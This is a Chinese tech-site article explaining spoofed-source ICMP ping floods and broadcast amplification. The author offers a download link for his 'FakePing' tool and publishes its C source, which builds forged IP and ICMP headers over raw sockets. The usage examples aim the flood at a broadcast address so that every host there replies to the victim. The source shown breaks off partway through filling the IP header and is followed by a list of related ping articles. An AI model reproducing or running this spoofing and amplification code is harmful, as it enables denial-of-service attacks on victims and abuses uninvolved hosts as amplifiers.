首页 -> 网络技术 -> 技术前哨 -> 正文
伪装IP地址的洪水Ping攻击

最近不少人又来号召大家一起去Ping死什么什么网站,不过从技术上来说,无论什么拒绝服务攻击方式,都需要满足一个条件:用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的:用最大的资源换取对方最小的伤害;也是可笑的:人民战争大概属于50多年前的行为了,在互联网时代,并不是人多就能如何如何的。

我们今天是来说Ping的,Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具,很久以前,一部分操作系统(例如win95),不能很好处理过大的Ping包,导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽的升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度(所谓正反馈)

正常情况下,Ping的流程是这样的:

主机A发送ICMP 8,0报文给主机B

主机B回送ICMp 0,0报文给主机A

因为ICMP基于无连结,所以就给了我们可乘之机,假设现在主机A伪装成主机C发送ICMP 8,0报文,结果会怎么样呢?显然,主机B会以为是主机C发送的报文而去

回应主机C,结构如下:

 伪装为主机C 错误的回复

主机A--------------------->主机B------------------>主机C

这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以攻击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而且不会留下自己的痕迹,是一种隐蔽的一石二鸟的攻击方法。

上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的操作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思是说有一个地址,任何局域网内的主机都会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,会看到很多回应的的dup包,就是重复的应答,windows系统上不会有这样的结果,因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,同样微软的系统默认也不回应广播地址的包,所以你最好在一个大量unix主机的局域网内测试。

说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求,这样,相当于是N倍的攻击力度!(N=广播地址内回应Ping包的主机数量)

 

伪装为主机C 所有广播主机都会错误的回复

主机A--------------------->广播地址=========================>主机C

我写了一个FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe下载。

使用方法是FakePing.exe FakeIP TargetIP [PacketSize],如果TargetIP是广播地址,那么FakeIP是被攻击目标。

源码公布如下:

typedef struct _iphdr //定义IP首部

{

unsigned char h_verlen; //4位首部长度,4位IP版本号

unsigned char tos; //8位服务类型TOS

unsigned short total_len; //16位总长度(字节)

unsigned short ident; //16位标识

unsigned short frag_and_flags; //3位标志位

unsigned char ttl; //8位生存时间 TTL

unsigned char proto; //8位协议 (TCP, UDP 或其他)

unsigned short checksum; //16位IP首部校验和

unsigned int sourceIP; //32位源IP地址

unsigned int destIP; //32位目的IP地址

}IP_HEADER;

// 定义ICMP首部

typedef struct _ihdr

{

BYTE i_type; //8位类型

BYTE i_code; //8位代码

USHORT i_cksum; //16位校验和

USHORT i_id; //识别号(一般用进程号作为识别号)

USHORT i_seq; //报文序列号

ULONG timestamp; //时间戳

}ICMP_HEADER;

//CheckSum:计算校验和的子函数

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1)

 {

 cksum+=*buffer++;

 size -=sizeof(USHORT);

 }

if(size )

 {

 cksum += *(UCHAR*)buffer;

 }

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

//FakePing主函数

int main(int argc, char **argv)

{

int datasize,ErrorCode,counter,flag;

int TimeOut=2000, SendSEQ=0, PacketSize=32;

char SendBuf[65535]={0};

WSADATA wsaData;

SOCKET SockRaw=(SOCKET)NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

ICMP_HEADER icmp_header;

char FakeSourceIp[20],DestIp[20];

//接受命令行参数

if (argc<3)

 {

 printf("FakePing by Shotgun

");

 printf(" This program can do Ping-Flooding from a FakeIP

");

 printf(" Using a BroadCast IP as the FakeIP will enhance the effect

");

 printf("Email:

");

 printf(" Shotgun@Xici.Net

");

 printf("HomePage:

");

 printf(" http://It.Xici.Net

");

 printf(" http://www.Patching.Net

");

 printf("USAGE:

FakePing.exe FakeSourceIp DestinationIp [PacketSize]

");

 printf("Example:

");

 printf(" FakePing.exe 192.168.15.23 192.168.15.255

");

 printf(" FakePing.exe 192.168.15.23 192.168.15.200 6400

");

 exit(0);

 }

strcpy(FakeSourceIp,argv[1]);

strcpy(DestIp,argv[2]);

if (argc>3) PacketSize=atoi(argv[3]);

if (PacketSize>60000)

 {

 printf("Error! Packet size too big, must <60K

");

 exit(0);

 }

printf("Now Fake %s Ping %s using Packet size=%d bytes

",

FakeSourceIp, DestIp, PacketSize);

printf(" Ctrl+C to Quit

");

//初始化SOCK_RAW

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)

 {

 fprintf(stderr,"WSAStartup failed: %d

",ErrorCode);

 ExitProcess(STATUS_FAILED);

 }

if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)

 {

 fprintf(stderr,"WSASocket() failed: %d

",WSAGetLastError());

 ExitProcess(STATUS_FAILED);

 }

flag=TRUE;

//设置IP_HDRINCL以自己填充IP首部

ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

if(ErrorCode==SOCKET_ERROR)

 printf("Set IP_HDRINCL Error!

");

__try

{

//设置发送超时

ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

if (ErrorCode==SOCKET_ERROR)

 {

 fprintf(stderr,"Failed to set send TimeOut: %d

",WSAGetLastError());

 __leave;

 }

memset(&DestAddr,0,sizeof(DestAddr));

DestAddr.sin_family=AF_INET;

DestAddr.sin_addr.s_addr=inet_addr(DestIp);

//填充IP首部

ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度

ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度(字节)

ip_header.ident=1;

//16位标识

ip_header.frag_and_flags=0;

//3位标志位

ip_header.ttl=128;

//8位生存时间 TTL

ip_header.proto=IPPROTO_ICMP;

 PING专题文章列表

·Ping程序在TCP/IP中的应用

·Ping命令应用实例三则

·如何正确使用Windows的Ping命令

·如何使用ping和tracert命令检测丢包

·使用Ping命令细节点特别提醒

·ping的作用

·高效排除网络故障 从用好Ping命令开始

·网关无法Ping通故障及解决方法

·通过ping检测网络故障的典型次序

·通过Ping命令排除路由器故障

·网管应透过现象轻松解决Ping故障

·检测网络故障的利器!ping命令的使用

·启用IP安全策略防Ping

·IPSec安全策略 防Ping还是要慎用

·Ping命令幕后过程及其返回信息分析

·教你快速深入了解Ping

·什么是Ping不能告诉你的?

·Ping的工作过程及单向Ping通的原因

·Ping的源代码

·show,ping,trace and debug 命令介绍

·网络不通不用愁 Ping命令来帮忙

·完美解决Vista不能Ping问题

·Ping命令不能PING通的种种解惑

·四个Ping命令判断网络的故障

·使用PING判断TCP/IP网络故障

·浅谈IP安全策略:防范被Ping与封闭端口

·伪装IP地址的洪水Ping攻击

·不可忽视 彻底封杀Ping命令漏洞

文章搜索

覆盖全国各省会城市及海外城市的网速测试
→选择要测试的地区
→选择目标测试点
>> 测试点注册